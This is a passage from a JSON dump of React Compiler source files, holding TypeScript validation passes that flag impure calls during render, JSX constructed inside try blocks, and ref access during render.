    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {HIRFunction} from '../HIR';\nimport {getFunctionCallSignature} from '../Inference/InferMutationAliasingEffects';\n\n/**\n * Checks that known-impure functions are not called during render. Examples of invalid functions to\n * call during render are `Math.random()` and `Date.now()`. Users may extend this set of\n * impure functions via a module type provider and specifying functions with `impure: true`.\n *\n * TODO: add best-effort analysis of functions which are called during render. We have variations of\n * this in several of our validation passes and should unify those analyses into a reusable helper\n * and use it here.\n */\nexport function validateNoImpureFunctionsInRender(fn: HIRFunction): void {\n  for (const [, block] of fn.body.blocks) {\n    for (const instr of block.instructions) {\n      const value = instr.value;\n      if (value.kind === 'MethodCall' || value.kind == 'CallExpression') {\n        const callee =\n          value.kind === 'MethodCall' ? value.property : value.callee;\n        const signature = getFunctionCallSignature(\n          fn.env,\n          callee.identifier.type,\n        );\n        if (signature != null && signature.impure === true) {\n          fn.env.recordError(\n            CompilerDiagnostic.create({\n              category: ErrorCategory.Purity,\n              reason: 'Cannot call impure function during render',\n              description:\n                (signature.canonicalName != null\n                  ? `\\`${signature.canonicalName}\\` is an impure function. `\n                  : '') +\n                'Calling an impure function can produce unstable results that update unpredictably when the component happens to re-render. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#components-and-hooks-must-be-idempotent)',\n              suggestions: null,\n            }).withDetails({\n              kind: 'error',\n              loc: callee.loc,\n              message: 'Cannot call impure function',\n            }),\n          );\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoJSXInTryStatement.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {CompilerDiagnostic, CompilerError} from '..';\nimport {ErrorCategory} from '../CompilerError';\nimport {BlockId, HIRFunction} from '../HIR';\nimport {Result} from '../Utils/Result';\nimport {retainWhere} from '../Utils/utils';\n\n/**\n * Developers may not be aware of error boundaries and lazy evaluation of JSX, leading them\n * to use patterns such as `let el; try { el = <Component /> } catch { ... }` to attempt to\n * catch rendering errors. Such code will fail to catch errors in rendering, but developers\n * may not realize this right away.\n *\n * This validation pass validates against this pattern: specifically, it errors for JSX\n * created within a try block. JSX is allowed within a catch statement, unless that catch\n * is itself nested inside an outer try.\n */\nexport function validateNoJSXInTryStatement(\n  fn: HIRFunction,\n): Result<void, CompilerError> {\n  const activeTryBlocks: Array<BlockId> = [];\n  const errors = new CompilerError();\n  for (const [, block] of fn.body.blocks) {\n    retainWhere(activeTryBlocks, id => id !== block.id);\n\n    if (activeTryBlocks.length !== 0) {\n      for (const instr of block.instructions) {\n        const {value} = instr;\n        switch (value.kind) {\n          case 'JsxExpression':\n          case 'JsxFragment': {\n            errors.pushDiagnostic(\n              CompilerDiagnostic.create({\n                category: ErrorCategory.ErrorBoundaries,\n                reason: 'Avoid constructing JSX within try/catch',\n                description: `React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary. (https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)`,\n              }).withDetails({\n                kind: 'error',\n                loc: value.loc,\n                message: 'Avoid constructing JSX within try/catch',\n              }),\n            );\n            break;\n          }\n        }\n      }\n    }\n\n    if (block.terminal.kind === 'try') {\n      activeTryBlocks.push(block.terminal.handler);\n    }\n  }\n  return errors.asResult();\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccessInRender.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {\n  CompilerDiagnostic,\n  CompilerError,\n  ErrorCategory,\n} from '../CompilerError';\nimport {\n  BlockId,\n  GeneratedSource,\n  HIRFunction,\n  IdentifierId,\n  Place,\n  SourceLocation,\n  getHookKindForType,\n  isRefValueType,\n  isUseRefType,\n} from '../HIR';\nimport {\n  eachInstructionOperand,\n  eachInstructionValueOperand,\n  eachPatternOperand,\n  eachTerminalOperand,\n} from '../HIR/visitors';\nimport {retainWhere} from '../Utils/utils';\n\n/**\n * Validates that a function does not access a ref value during render. This includes a partial check\n * for ref values which are accessed indirectly via function expressions.\n *\n * ```javascript\n * // ERROR\n * const ref = useRef();\n * ref.current;\n *\n * const ref = useRef();\n * foo(ref); // may access .current\n *\n * // ALLOWED\n * const ref = useHookThatReturnsRef();\n * ref.current;\n * ```\n *\n * In the future we may reject more cases, based on either object names (`fooRef.current` is likely a ref)\n * or based on property name alone (`foo.current` might be a ref).\n */\n\nconst opaqueRefId = Symbol();\ntype RefId = number & {[opaqueRefId]: 'RefId'};\n\nfunction makeRefId(id: number): RefId {\n  CompilerError.invariant(id >= 0 && Number.isInteger(id), {\n    reason: 'Expected identifier id to be a non-negative integer',\n    loc: GeneratedSource,\n  });\n  return id as RefId;\n}\nlet _refId = 0;\nfunction nextRefId(): RefId {\n  return makeRefId(_refId++);\n}\n\ntype RefAccessType =\n  | {kind: 'None'}\n  | {kind: 'Nullable'}\n  | {kind: 'Guard'; refId: RefId}\n  | RefAccessRefType;\n\ntype RefAccessRefType =\n  | {kind: 'Ref'; refId: RefId}\n  | {kind: 'RefValue'; loc?: SourceLocation; refId?: RefId}\n  | {kind: 'Structure'; value: null | RefAccessRefType; fn: null | RefFnType};\n\ntype RefFnType = {readRefEffect: boolean; returnType: RefAccessType};\n\nclass Env {\n  #changed = false;\n  #data: Map<IdentifierId, RefAccessType> = new Map();\n  #temporaries: Map<IdentifierId, Place> = new Map();\n\n  lookup(place: Place): Place {\n    return this.#temporaries.get(place.identifier.id) ?? place;\n  }\n\n  define(place: Place, value: Place): void {\n    this.#temporaries.set(place.identifier.id, value);\n  }\n\n  resetChanged(): void {\n    this.#changed = false;\n  }\n\n  hasChanged(): boolean {\n    return this.#changed;\n  }\n\n  get(key: IdentifierId): RefAccessType | undefined {\n    const operandId = this.#temporaries.get(key)?.identifier.id ?? key;\n    return this.#data.get(operandId);\n  }\n\n  set(key: IdentifierId, value: RefAccessType): this {\n    const operandId = this.#temporaries.get(key)?.identifier.id ?? key;\n    const cur = this.#data.get(operandId);\n    const widenedValue = joinRefAccessTypes(value, cur ?? {kind: 'None'});\n    if (\n      !(cur == null && widenedValue.kind === 'None') &&\n      (cur == null || !tyEqual(cur, widenedValue))\n    ) {\n      this.#changed = true;\n    }\n    this.#data.set(operandId, widenedValue);\n    return this;\n  }\n}\n\nexport function validateNoRefAccessInRender(fn: HIRFunction): void {\n  const env = new Env();\n  collectTemporariesSidemap(fn, env);\n  const errors = new CompilerError();\n  validateNoRefAccessInRenderImpl(fn, env, errors);\n  for (const detail of errors.details) {\n    fn.env.recordError(detail);\n  }\n}\n\nfunction collectTemporariesSidemap(fn: HIRFunction, env: Env): void {\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {lvalue, value} = instr;\n      switch (value.kind) {\n        case 'LoadLocal': {\n          const temp = env.lookup(value.place);\n          if (temp != null) {\n            env.define(lvalue, temp);\n          }\n          break;\n        }\n        case 'StoreLocal': {\n          const temp = env.lookup(value.value);\n          if (temp != null) {\n            env.define(lvalue, temp);\n            env.define(value.lvalue.place, temp);\n          }\n          break;\n        }\n        case 'PropertyLoad': {\n          if (\n            isUseRefType(value.object.identifier) &&\n            value.property === 'current'\n          ) {\n            continue;\n          }\n          const temp = env.lookup(value.object);\n          if (temp != null) {\n            env.define(lvalue, temp);\n          }\n          break;\n        }\n      }\n    }\n  }\n}\n\nfunction refTypeOfType(place: Place): RefAccessType {\n  if (isRefValueType(place.identifier)) {\n    return {kind: 'RefValue'};\n  } else if (isUseRefType(place.identifier)) {\n    return {kind: 'Ref', refId: nextRefId()};\n  } else {\n    return {kind: 'None'};\n  }\n}\n\nfunction tyEqual(a: RefAccessType, b: RefAccessType): boolean {\n  if (a.kind !== b.kind) {\n    return false;\n  }\n  switch (a.kind) {\n    case 'None':\n      return true;\n    case 'Ref':\n      return true;\n    case 'Nullable':\n      return true;\n    case 'Guard':\n      CompilerError.invariant(b.kind === 'Guard', {\n        reason: 'Expected ref value',\n        loc: GeneratedSource,\n      });\n      return a.refId === b.refId;\n    case 'RefValue':\n      CompilerError.invariant(b.kind === 'RefValue', {\n        reason: 'Expected ref value',\n        loc: GeneratedSource,\n      });\n      return a.loc == b.loc;\n    case 'Structure': {\n      CompilerError.invariant(b.kind === 'Structure', {\n        reason: 'Expected structure',\n        loc: GeneratedSource,\n      });\n      const fnTypesEqual =\n        (a.fn === null && b.fn === null) ||\n        (a.fn !== null &&\n          b.fn !== null &&\n          a.fn.readRefEffect === b.fn.readRefEffect &&\n          tyEqual(a.fn.returnType, b.fn.returnType));\n      return (\n        fnTypesEqual &&\n        (a.value === b.value ||\n          (a.value !== null && b.value !== null && tyEqual(a.value, b.value)))\n      );\n    }\n  }\n}\n\nfunction joinRefAccessTypes(...types: Array<RefAccessType>): RefAccessType {\n  function joinRefAccessRefTypes(\n    a: RefAccessRefType,\n    b: RefAccessRefType,\n  ): RefAccessRefType {\n    if (a.kind === 'RefValue') {\n      if (b.kind === 'RefValue' && a.refId === b.refId) {\n        return a;\n      }\n      return {kind: 'RefValue'};\n    } else if (b.kind === 'RefValue') {\n      return b;\n    } else if (a.kind === 'Ref' || b.kind === 'Ref') {\n      if (a.kind === 'Ref' && b.kind === 'Ref' && a.refId === b.refId) {\n        return a;\n      }\n      return {kind: 'Ref', refId: nextRefId()};\n    } else {\n      CompilerError.invariant(\n        a.kind === 'Structure' && b.kind === 'Structure',\n        {\n          reason: 'Expected structure',\n          loc: GeneratedSource,\n        },\n      );\n      const fn =\n        a.fn === null\n          ? b.fn\n          : b.fn === null\n            ? a.fn\n            : {\n                readRefEffect: a.fn.readRefEffect || b.fn.readRefEffect,\n                returnType: joinRefAccessTypes(\n                  a.fn.returnType,\n                  b.fn.returnType,\n                ),\n              };\n      const value =\n        a.value === null\n          ? b.value\n          : b.value === null\n            ? a.value\n            : joinRefAccessRefTypes(a.value, b.value);\n      return {\n        kind: 'Structure',\n        fn,\n        value,\n      };\n    }\n  }\n\n  return types.reduce(\n    (a, b) => {\n      if (a.kind === 'None') {\n        return b;\n      } else if (b.kind === 'None') {\n        return a;\n      } else if (a.kind === 'Guard') {\n        if (b.kind === 'Guard' && a.refId === b.refId) {\n          return a;\n        } else if (b.kind === 'Nullable' || b.kind === 'Guard') {\n          return {kind: 'None'};\n        } else {\n          return b;\n        }\n      } else if (b.kind === 'Guard') {\n        if (a.kind === 'Nullable') {\n          return {kind: 'None'};\n        } else {\n          return b;\n        }\n      } else if (a.kind === 'Nullable') {\n        return b;\n      } else if (b.kind === 'Nullable') {\n        return a;\n      } else {\n        return joinRefAccessRefTypes(a, b);\n      }\n    },\n    {kind: 'None'},\n  );\n}\n\nfunction validateNoRefAccessInRenderImpl(\n  fn: HIRFunction,\n  env: Env,\n  errors: CompilerError,\n): RefAccessType {\n  let returnValues: Array<undefined | RefAccessType> = [];\n  let place;\n  for (const param of fn.params) {\n    if (param.kind === 'Identifier') {\n      place = param;\n    } else {\n      place = param.place;\n    }\n    const type = refTypeOfType(place);\n    env.set(place.identifier.id, type);\n  }\n\n  const interpolatedAsJsx = new Set<IdentifierId>();\n  for (const block of fn.body.blocks.values()) {\n    for (const instr of block.instructions) {\n      const {value} = instr;\n      if (value.kind === 'JsxExpression' || value.kind === 'JsxFragment') {\n        if (value.children != null) {\n          for (const child of value.children) {\n            interpolatedAsJsx.add(child.identifier.id);\n          }\n        }\n      }\n    }\n  }\n\n  for (let i = 0; (i == 0 || env.hasChanged()) && i < 10; i++) {\n    env.resetChanged();\n    returnValues = [];\n    const safeBlocks: Array<{block: BlockId; ref: RefId}> = [];\n    for (const [, block] of fn.body.blocks) {\n      retainWhere(safeBlocks, entry => entry.block !== block.id);\n      for (const phi of block.phis) {\n        env.set(\n          phi.place.identifier.id,\n          joinRefAccessTypes(\n            ...Array(...phi.operands.values()).map(\n              operand =>\n                env.get(operand.identifier.id) ?? ({kind: 'None'} as const),\n            ),\n          ),\n        );\n      }\n\n      for (const instr of block.instructions) {\n        switch (instr.value.kind) {\n          case 'JsxExpression':\n          case 'JsxFragment': {\n            for (const operand of eachInstructionValueOperand(instr.value)) {\n              validateNoDirectRefValueAccess(errors, operand, env);\n            }\n            break;\n          }\n          case 'ComputedLoad':\n          case 'PropertyLoad': {\n            if (instr.value.kind === 'ComputedLoad') {\n              validateNoDirectRefValueAccess(errors, instr.value.property, env);\n            }\n            const objType = env.get(instr.value.object.identifier.id);\n            let lookupType: null | RefAccessType = null;\n            if (objType?.kind === 'Structure') {\n              lookupType = objType.value;\n            } else if (objType?.kind === 'Ref') {\n              lookupType = {\n                kind: 'RefValue',\n                loc: instr.loc,\n                refId: objType.refId,\n              };\n            }\n            env.set(\n              instr.lvalue.identifier.id,\n              lookupType ?? refTypeOfType(instr.lvalue),\n            );\n            break;\n          }\n          case 'TypeCastExpression': {\n            env.set(\n              instr.lvalue.identifier.id,\n              env.get(instr.value.value.identifier.id) ??\n                refTypeOfType(instr.lvalue),\n            );\n            break;\n          }\n          case 'LoadContext':\n          case 'LoadLocal': {\n            env.set(\n              instr.lvalue.identifier.id,\n              env.get(instr.value.place.identifier.id) ??\n                refTypeOfType(instr.lvalue),\n            );\n            break;\n          }\n          case 'StoreContext':\n          case 'StoreLocal': {\n            env.set(\n              instr.value.lvalue.place.identifier.id,\n              env.get(instr.value.value.identifier.id) ??\n                refTypeOfType(instr.value.lvalue.place),\n            );\n            env.set(\n              instr.lvalue.identifier.id,\n              env.get(instr.value.value.identifier.id) ??\n                refTypeOfType(instr.lvalue),\n            );\n            break;\n          }\n          case 'Destructure': {\n            const objType = env.get(instr.value.value.identifier.id);\n            let lookupType = null;\n            if (objType?.kind === 'Structure') {\n              lookupType = objType.value;\n            }\n            env.set(\n              instr.lvalue.identifier.id,\n              lookupType ?? refTypeOfType(instr.lvalue),\n            );\n            for (const lval of eachPatternOperand(instr.value.lvalue.pattern)) {\n              env.set(lval.identifier.id, lookupType ?? refTypeOfType(lval));\n            }\n            break;\n          }\n          case 'ObjectMethod':\n          case 'FunctionExpression': {\n            let returnType: RefAccessType = {kind: 'None'};\n            let readRefEffect = false;\n            const innerErrors = new CompilerError();\n            const result = validateNoRefAccessInRenderImpl(\n              instr.value.loweredFunc.func,\n              env,\n              innerErrors,\n            );\n            if (!innerErrors.hasAnyErrors()) {\n              returnType = result;\n            } else {\n              readRefEffect = true;\n            }\n            env.set(instr.lvalue.identifier.id, {\n              kind: 'Structure',\n              fn: {\n                readRefEffect,\n                returnType,\n              },\n              value: null,\n            });\n            break;\n          }\n          case 'MethodCall':\n          case 'CallExpression': {\n            const callee =\n              instr.value.kind === 'CallExpression'\n                ? instr.value.callee\n                : instr.value.property;\n            const hookKind = getHookKindForType(fn.env, callee.identifier.type);\n            let returnType: RefAccessType = {kind: 'None'};\n            const fnType = env.get(callee.identifier.id);\n            let didError = false;\n            if (fnType?.kind === 'Structure' && fnType.fn !== null) {\n              returnType = fnType.fn.returnType;\n              if (fnType.fn.readRefEffect) {\n                didError = true;\n                errors.pushDiagnostic(\n                  CompilerDiagnostic.create({\n                    category: ErrorCategory.Refs,\n                    reason: 'Cannot access refs during render',\n                    description: ERROR_DESCRIPTION,\n                  }).withDetails({\n                    kind: 'error',\n                    loc: callee.loc,\n                    message: `This function accesses a ref value`,\n                  }),\n                );\n              }\n            }\n            /*\n             * If we already reported an error on this instruction, don't report\n             * duplicate errors\n             */\n            if (!didError) {\n              const isRefLValue = isUseRefType(instr.lvalue.identifier);\n              if (\n                isRefLValue ||\n                (hookKind != null &&\n                  hookKind !== 'useState' &&\n                  hookKind !== 'useReducer')\n              ) {\n                for (const operand of eachInstructionValueOperand(\n                  instr.value,\n                )) {\n                  /**\n                   * Allow passing refs or ref-accessing functions when:\n                   * 1. lvalue is a ref (mergeRefs pattern: `mergeRefs(ref1, ref2)`)\n                   * 2. calling hooks (independently validated for ref safety)\n                   */\n                  validateNoDirectRefValueAccess(errors, operand, env);\n                }\n              } else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {\n                for (const operand of eachInstructionValueOperand(\n                  instr.value,\n                )) {\n                  /**\n                   * Special case: the lvalue is passed as a jsx child\n                   *\n                   * For example `<Foo>{renderHelper(ref)}</Foo>`. Here we have more\n                   * context and infer that the ref is being passed to a component-like\n                   * render function which attempts to obey the rules.\n                   */\n                  validateNoRefValueAccess(errors, env, operand);\n                }\n              } else if (hookKind == null && instr.effects != null) {\n                /**\n                 * For non-hook functions with known aliasing effects, use the\n                 * effects to determine what validation to apply for each place.\n                 * Track visited id:kind pairs to avoid duplicate errors.\n                 */\n                const visitedEffects: Set<string> = new Set();\n                for (const effect of instr.effects) {\n                  let place: Place | null = null;\n                  let validation: 'ref-passed' | 'direct-ref' | 'none' = 'none';\n                  switch (effect.kind) {\n                    case 'Freeze': {\n                      place = effect.value;\n                      validation = 'direct-ref';\n                      break;\n                    }\n                    case 'Mutate':\n                    case 'MutateTransitive':\n                    case 'MutateConditionally':\n                    case 'MutateTransitiveConditionally': {\n                      place = effect.value;\n                      validation = 'ref-passed';\n                      break;\n                    }\n                    case 'Render': {\n                      place = effect.place;\n                      validation = 'ref-passed';\n                      break;\n                    }\n                    case 'Capture':\n                    case 'Alias':\n                    case 'MaybeAlias':\n                    case 'Assign':\n                    case 'CreateFrom': {\n                      place = effect.from;\n                      validation = 'ref-passed';\n                      break;\n                    }\n                    case 'ImmutableCapture': {\n                      /**\n                       * ImmutableCapture can come from two sources:\n                       * 1. A known signature that explicitly freezes the operand\n                       *    (e.g. PanResponder.create) — safe, the function doesn't\n                       *    call callbacks during render.\n                       * 2. Downgraded defaults when the operand is already frozen\n                       *    (e.g. foo(propRef)) — the function is unknown and may\n                       *    access the ref.\n                       *\n                       * We distinguish these by checking whether the same operand\n                       * also has a Freeze effect on this instruction, which only\n                       * comes from known signatures.\n                       */\n                      place = effect.from;\n                      const isFrozen = instr.effects.some(\n                        e =>\n                          e.kind === 'Freeze' &&\n                          e.value.identifier.id === effect.from.identifier.id,\n                      );\n                      validation = isFrozen ? 'direct-ref' : 'ref-passed';\n                      break;\n                    }\n                    case 'Create':\n                    case 'CreateFunction':\n                    case 'Apply':\n                    case 'Impure':\n                    case 'MutateFrozen':\n                    case 'MutateGlobal': {\n                      break;\n                    }\n                  }\n                  if (place !== null && validation !== 'none') {\n                    const key = `${place.identifier.id}:${validation}`;\n                    if (!visitedEffects.has(key)) {\n                      visitedEffects.add(key);\n                      if (validation === 'direct-ref') {\n                        validateNoDirectRefValueAccess(errors, place, env);\n                      } else {\n                        validateNoRefPassedToFunction(\n                          errors,\n                          env,\n                          place,\n                          place.loc,\n                        );\n                      }\n                    }\n                  }\n                }\n              } else {\n                for (const operand of eachInstructionValueOperand(\n                  instr.value,\n                )) {\n                  validateNoRefPassedToFunction(\n                    errors,\n                    env,\n                    operand,\n                    operand.loc,\n                  );\n                }\n              }\n            }\n            env.set(instr.lvalue.identifier.id, returnType);\n            break;\n          }\n          case 'ObjectExpression':\n          case 'ArrayExpression': {\n            const types: Array<RefAccessType> = [];\n            for (const operand of eachInstructionValueOperand(instr.value)) {\n              validateNoDirectRefValueAccess(errors, operand, env);\n              types.push(env.get(operand.identifier.id) ?? {kind: 'None'});\n            }\n            const value = joinRefAccessTypes(...types);\n            if (\n              value.kind === 'None' ||\n              value.kind === 'Guard' ||\n              value.kind === 'Nullable'\n            ) {\n              env.set(instr.lvalue.identifier.id, {kind: 'None'});\n            } else {\n              env.set(instr.lvalue.identifier.id, {\n                kind: 'Structure',\n                value,\n                fn: null,\n              });\n            }\n            break;\n          }\n          case 'PropertyDelete':\n          case 'PropertyStore':\n          case 'ComputedDelete':\n          case 'ComputedStore': {\n            const target = env.get(instr.value.object.identifier.id);\n            let safe: (typeof safeBlocks)['0'] | null | undefined = null;\n            if (\n              instr.value.kind === 'PropertyStore' &&\n              target != null &&\n              target.kind === 'Ref'\n            ) {\n              safe = safeBlocks.find(entry => entry.ref === target.refId);\n            }\n            if (safe != null) {\n              retainWhere(safeBlocks, entry => entry !== safe);\n            } else {\n              validateNoRefUpdate(errors, env, instr.value.object, instr.loc);\n            }\n            if (\n              instr.value.kind === 'ComputedDelete' ||\n              instr.value.kind === 'ComputedStore'\n            ) {\n              validateNoRefValueAccess(errors, env, instr.value.property);\n            }\n            if (\n              instr.value.kind === 'ComputedStore' ||\n              instr.value.kind === 'PropertyStore'\n            ) {\n              validateNoDirectRefValueAccess(errors, instr.value.value, env);\n              const type = env.get(instr.value.value.identifier.id);\n              if (type != null && type.kind === 'Structure') {\n                let objectType: RefAccessType = type;\n                if (target != null) {\n                  objectType = joinRefAccessTypes(objectType, target);\n                }\n                env.set(instr.value.object.identifier.id, objectType);\n              }\n            }\n            break;\n          }\n          case 'StartMemoize':\n          case 'FinishMemoize':\n            break;\n          case 'LoadGlobal': {\n            if (instr.value.binding.name === 'undefined') {\n              env.set(instr.lvalue.identifier.id, {kind: 'Nullable'});\n            }\n            break;\n          }\n          case 'Primitive': {\n            if (instr.value.value == null) {\n              env.set(instr.lvalue.identifier.id, {kind: 'Nullable'});\n            }\n            break;\n          }\n          case 'UnaryExpression': {\n            if (instr.value.operator === '!') {\n              const value = env.get(instr.value.value.identifier.id);\n              const refId =\n                value?.kind === 'RefValue' && value.refId != null\n                  ? value.refId\n                  : null;\n              if (refId !== null) {\n                /*\n                 * Record an error suggesting the `if (ref.current == null)` pattern,\n                 * but also record the lvalue as a guard so that we don't emit a second\n                 * error for the write to the ref\n                 */\n                env.set(instr.lvalue.identifier.id, {kind: 'Guard', refId});\n                errors.pushDiagnostic(\n                  CompilerDiagnostic.create({\n                    category: ErrorCategory.Refs,\n                    reason: 'Cannot access refs during render',\n                    description: ERROR_DESCRIPTION,\n                  })\n                    .withDetails({\n                      kind: 'error',\n                      loc: instr.value.value.loc,\n                      message: `Cannot access ref value during render`,\n                    })\n                    .withDetails({\n                      kind: 'hint',\n                      message:\n                        'To initialize a ref only once, check that the ref is null with the pattern `if (ref.current == null) { ref.current = ... }`',\n                    }),\n                );\n                break;\n              }\n            }\n            validateNoRefValueAccess(errors, env, instr.value.value);\n            break;\n          }\n          case 'BinaryExpression': {\n            const left = env.get(instr.value.left.identifier.id);\n            const right = env.get(instr.value.right.identifier.id);\n            let nullish: boolean = false;\n            let refId: RefId | null = null;\n            if (left?.kind === 'RefValue' && left.refId != null) {\n              refId = left.refId;\n            } else if (right?.kind === 'RefValue' && right.refId != null) {\n              refId = right.refId;\n            }\n\n            if (left?.kind === 'Nullable') {\n              nullish = true;\n            } else if (right?.kind === 'Nullable') {\n              nullish = true;\n            }\n\n            if (refId !== null && nullish) {\n              env.set(instr.lvalue.identifier.id, {kind: 'Guard', refId});\n            } else {\n              for (const operand of eachInstructionValueOperand(instr.value)) {\n                validateNoRefValueAccess(errors, env, operand);\n              }\n            }\n            break;\n          }\n          default: {\n            for (const operand of eachInstructionValueOperand(instr.value)) {\n              validateNoRefValueAccess(errors, env, operand);\n            }\n            break;\n          }\n        }\n\n        // Guard values are derived from ref.current, so they can only be used in if statement targets\n        for (const operand of eachInstructionOperand(instr)) {\n          guardCheck(errors, operand, env);\n        }\n\n        if (\n          isUseRefType(instr.lvalue.identifier) &&\n          env.get(instr.lvalue.identifier.id)?.kind !== 'Ref'\n        ) {\n          env.set(\n            instr.lvalue.identifier.id,\n            joinRefAccessTypes(\n              env.get(instr.lvalue.identifier.id) ?? {kind: 'None'},\n              {kind: 'Ref', refId: nextRefId()},\n            ),\n          );\n        }\n        if (\n          isRefValueType(instr.lvalue.identifier) &&\n          env.get(instr.lvalue.identifier.id)?.kind !== 'RefValue'\n        ) {\n          env.set(\n            instr.lvalue.identifier.id,\n            joinRefAccessTypes(\n              env.get(instr.lvalue.identifier.id) ?? {kind: 'None'},\n              {kind: 'RefValue', loc: instr.loc},\n            ),\n          );\n        }\n      }\n\n      if (block.terminal.kind === 'if') {\n        const test = env.get(block.terminal.test.identifier.id);\n        if (\n          test?.kind === 'Guard' &&\n          safeBlocks.find(entry => entry.ref === test.refId) == null\n        ) {\n          safeBlocks.push({block: block.terminal.fallthrough, ref: test.refId});\n        }\n      }\n\n      for (const operand of eachTerminalOperand(block.terminal)) {\n        if (block.terminal.kind !== 'return') {\n          validateNoRefValueAccess(errors, env, operand);\n          if (block.terminal.kind !== 'if') {\n            guardCheck(errors, operand, env);\n          }\n        } else {\n          // Allow functions containing refs to be returned, but not direct ref values\n          validateNoDirectRefValueAccess(errors, operand, env);\n          guardCheck(errors, operand, env);\n          returnValues.push(env.get(operand.identifier.id));\n        }\n      }\n    }\n\n    if (errors.hasAnyErrors()) {\n      return {kind: 'None'};\n    }\n  }\n\n  CompilerError.invariant(!env.hasChanged(), {\n    reason: 'Ref type environment did not converge',\n    loc: GeneratedSource,\n  });\n\n  return joinRefAccessTypes(\n    ...returnValues.filter((env): env is RefAccessType => env !== undefined),\n  );\n}\n\nfunction destructure(\n  type: RefAccessType | undefined,\n): RefAccessType | undefined {\n  if (type?.kind === 'Structure' && type.value !== null) {\n    return destructure(type.value);\n  }\n  return type;\n}\n\nfunction guardCheck(errors: CompilerError, operand: Place, env: Env): void {\n  if (env.get(operand.identifier.id)?.kind === 'Guard') {\n    errors.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Refs,\n        reason: 'Cannot access refs during render',\n        description: ERROR_DESCRIPTION,\n      }).withDetails({\n        kind: 'error',\n        loc: operand.loc,\n        message: `Cannot access ref value during render`,\n      }),\n    );\n  }\n}\n\nfunction validateNoRefValueAccess(\n  errors: CompilerError,\n  env: Env,\n  operand: Place,\n): void {\n  const type = destructure(env.get(operand.identifier.id));\n  if (\n    type?.kind === 'RefValue' ||\n    (type?.kind === 'Structure' && type.fn?.readRefEffect)\n  ) {\n    errors.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Refs,\n        reason: 'Cannot access refs during render',\n        description: ERROR_DESCRIPTION,\n      }).withDetails({\n        kind: 'error',\n        loc: (type.kind === 'RefValue' && type.loc) || operand.loc,\n        message: `Cannot access ref value during render`,\n      }),\n    );\n  }\n}\n\nfunction validateNoRefPassedToFunction(\n  errors: CompilerError,\n  env: Env,\n  operand: Place,\n  loc: SourceLocation,\n): void {\n  const type = destructure(env.get(operand.identifier.id));\n  if (\n    type?.kind === 'Ref' ||\n    type?.kind === 'RefValue' ||\n    (type?.kind === 'Structure' && type.fn?.readRefEffect)\n  ) {\n    errors.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Refs,\n        reason: 'Cannot access refs during render',\n        description: ERROR_DESCRIPTION,\n      }).withDetails({\n        kind: 'error',\n        loc: (type.kind === 'RefValue' && type.loc) || loc,\n        message: `Passing a ref to a function may read its value during render`,\n      }),\n    );\n  }\n}\n\nfunction validateNoRefUpdate(\n  errors: CompilerError,\n  env: Env,\n  operand: Place,\n  loc: SourceLocation,\n): void {\n  const type = destructure(env.get(operand.identifier.id));\n  if (type?.kind === 'Ref' || type?.kind === 'RefValue') {\n    errors.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Refs,\n        reason: 'Cannot access refs during render',\n        description: ERROR_DESCRIPTION,\n      }).withDetails({\n        kind: 'error',\n        loc: (type.kind === 'RefValue' && type.loc) || loc,\n        message: `Cannot update ref during render`,\n      }),\n    );\n  }\n}\n\nfunction validateNoDirectRefValueAccess(\n  errors: CompilerError,\n  operand: Place,\n  env: Env,\n): void {\n  const type = destructure(env.get(operand.identifier.id));\n  if (type?.kind === 'RefValue') {\n    errors.pushDiagnostic(\n      CompilerDiagnostic.create({\n        category: ErrorCategory.Refs,\n        reason: 'Cannot access refs during render',\n        description: ERROR_DESCRIPTION,\n      }).withDetails({\n        kind: 'error',\n        loc: type.loc ?? operand.loc,\n        message: `Cannot access ref value during render`,\n      }),\n    );\n  }\n}\n\nconst ERROR_DESCRIPTION =\n  'React refs are values that are not needed for rendering. Refs should only be accessed ' +\n  'outside of render, such as in event handlers or effects. ' +\n  'Accessing a ref value (the `current` property) during render can cause your component ' +\n  'not to update as expected (https://react.dev/reference/react/useRef)';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoSetStateInEffects.ts",
